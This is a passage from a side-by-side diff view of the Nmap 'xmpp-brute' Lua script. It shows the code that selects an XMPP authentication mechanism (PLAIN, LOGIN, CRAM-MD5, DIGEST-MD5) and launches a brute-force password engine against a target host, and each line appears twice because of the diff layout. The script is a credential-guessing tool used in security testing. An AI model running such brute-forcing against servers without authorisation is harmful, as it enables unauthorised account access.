local mechs = helper:getAuthMechs()
|
local mechs = helper:getAuthMechs()
|
||||||
if ( not(mechs) ) then
|
if ( not(mechs) ) then
|
||||||
return "\n ERROR: Failed to retreive authentication mechs from XMPP server"
|
return "\n ERROR: Failed to retreive authentication mechs from XMPP server"
|
||||||
end
|
end
|
||||||
|
|
||||||
local mech_prio = stdnse.get_script_args("xmpp-brute.auth")
|
local mech_prio = stdnse.get_script_args("xmpp-brute.auth")
|
||||||
mech_prio = ( mech_prio and { mech_prio } ) or { "PLAIN", "LOGIN", "CRAM-MD5", "DIGEST-MD5"}
|
mech_prio = ( mech_prio and { mech_prio } ) or { "PLAIN", "LOGIN", "CRAM-MD5", "DIGEST-MD5"}
|
||||||
|
|
||||||
for _, mp in ipairs(mech_prio) do
|
for _, mp in ipairs(mech_prio) do
|
||||||
for m, _ in pairs(mechs) do
|
for m, _ in pairs(mechs) do
|
||||||
if ( mp == m ) then mech = m; break end
|
if ( mp == m ) then mech = m; break end
|
||||||
end
|
end
|
||||||
if ( mech ) then break end
|
if ( mech ) then break end
|
||||||
end
|
end
|
||||||
|
|
||||||
if ( not(mech) ) then
|
if ( not(mech) ) then
|
||||||
return "\n ERROR: Failed to find suitable authentication mechanism"
|
return "\n ERROR: Failed to find suitable authentication mechanism"
|
||||||
end
|
end
|
||||||
|
|
||||||
local engine = brute.Engine:new(Driver, host, port, options)
|
local engine = brute.Engine:new(Driver, host, port, options)
|
||||||
engine.options.script_name = SCRIPT_NAME
|
engine.options.script_name = SCRIPT_NAME
|
||||||
local result
|
local result
|
||||||
status, result = engine:start()
|
status, result = engine:start()
|
||||||
|
|
||||||
return result
|
return result
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|||||||
Reference in New Issue
Block a user